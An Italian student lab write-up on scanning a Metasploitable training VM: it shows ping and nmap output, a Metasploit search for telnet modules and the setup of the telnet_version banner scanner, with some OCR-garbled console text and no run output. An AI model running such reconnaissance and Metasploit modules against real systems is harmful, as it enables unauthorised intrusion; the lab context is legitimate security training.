Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

come da traccia andiamo ad hackerare la Metaspoitable.

Ci assicuriamo prima che i due dispositivi pinghino e facciamo uno scan con nmap i pinghino e facciamo uno scan con nmap

```
s ping 192.168.178.149
PING 192.168.178.149 (192.168.178.149) 56(84) bytes of data.
64 bytes from 192.168.178.149: icmp_seq=1 ttl=64 time=1.19 ms
 64 bytes from 192.168.178.149: icmp_seq=2 ttl=64 time=0.708 ms
64 bytes from 192.168.178.149: icmp_seq=3 ttl=64 time=0.866 ms
 ^с
 — 192.168.178.149 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2088ms
rtt min/avg/max/mdev = 0.708/0.919/1.185/0.198 ms
   —(kali⊕kali)-[~]
 $ nmap -sV 192.168.178.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 07:42 EST
Nmap scan report for 192.168.178.149
Host is up (0.0015s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec? 513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LA
N; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at htt
ps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.20 seconds
```

Avviamo msfconsole su Kali e cerchiamo l'exploit telnet e lo scegliamo tra la lista:

```
Metasploit
        =[ metasploit v6.4.18-dev
     --=[ 2437 exploits - 1255 auxiliary - 429 post
--=[ 1471 payloads - 47 encoders - 11 nops
  -- --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search telnet
Matching Modules
       Name
                                                                                           D:
 Description
        exploit/linux/misc/asus_infosvr_auth_bypass_exec
 ASUS infosvr Auth Bypass Command Execution
   1 exploit/linux/http/asuswrt_lan_rce
                                                                                           20
 AsusWRT LAN Unauthenticated Remote Code Execution
   2 auxiliary/server/capture/telnet
 Authentication Capture: Telnet
3 auxiliary/scanner/telnet/brocade_enable_login
 Brocade Enable Login Check Scanner
      exploit/windows/proxy/ccproxy_telnet_ping
         \_ target: ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)
   65
   66
         \_ target: ProFTPD 1.3.2c Server (Ubuntu 10.04)
   67 auxiliary/scanner/telnet/telnet_ruggedcom
 RuggedCom Telnet Password Generator
   68 auxiliary/scanner/telnet/satel_cmd_exec
                                                                               2017-04-07
 Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   69 exploit/solaris/telnet/ttyprompt
                                                                               2002-01-18
 Solaris in.telnetd TTYPROMPT Buffer Overflow
   70 exploit/solaris/telnet/fuser
                                                                               2007-02-12
 Sun Solaris Telnet Remote Authentication Bypass Vulnerability
  71 exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
                                                                               2015-12-20
 TP-Link SC2020n Authenticated Telnet Injection
   72 auxiliary/scanner/telnet/telnet_login
 Telnet Login Check Scanner
   73 auxiliary/scanner/telnet/telnet_version
 Telnet Service Banner Detection
 74 auxiliary/scanner/telnet/telnet_encrypt_overflow
Telnet Service Encryption Key ID Overflow Detection
   75 payload/cmd/unix/bind_busybox_telnetd
 Unix Command Shell, Bind TCP (via BusyBox telnetd)
   76 payload/cmd/unix/reverse
 Unix Command Shell, Double Reverse TCP (telnet)
   77 payload/cmd/unix/reverse_ssl_double_telnet
 Unix Command Shell, Double Reverse TCP SSL (telnet)
   78 payload/cmd/unix/reverse_bash_telnet
                                            ssl
 Unix Command Shell, Reverse TCP SSL (telnet)
   79 exploit/linux/ssh/vyos_restricted_shell_privesc
                                                                               2018-11-05
```

Come di consueto settiamo rhosts e lanciamo l'exploit:

```
<u>msf6</u> > use 73
mstb > use /3
msfb auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
                  Current Setting Required Description
    PASSWORD
                                                        The password for the specified username
                                                        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
    RHOSTS
    RPORT
                                                        The number of concurrent threads (max one per host)
Timeout for the Telnet probe
The username to authenticate as
    THREADS
    TIMEOUT
                  30
    USERNAME
View the full module info with the info, or info -d command.
\frac{msf6}{msf6} auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.178.149 rhosts \Rightarrow 192.168.178.149 \frac{msf6}{msf6} auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
                  Current Setting Required Description
                                                        The password for the specified username
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    PASSWORD
                  192.168.178.149 yes
    RHOSTS
    RPORT
                                                        The target port (TCP)
                                                        The number of concurrent threads (max one per host)
Timeout for the Telnet probe
    THREADS
    TIMEOUT
    USERNAME
                                                         The username to authenticate as
```

Lanciato l'exploit riusciremo a vedere user e password del servizio Telnet.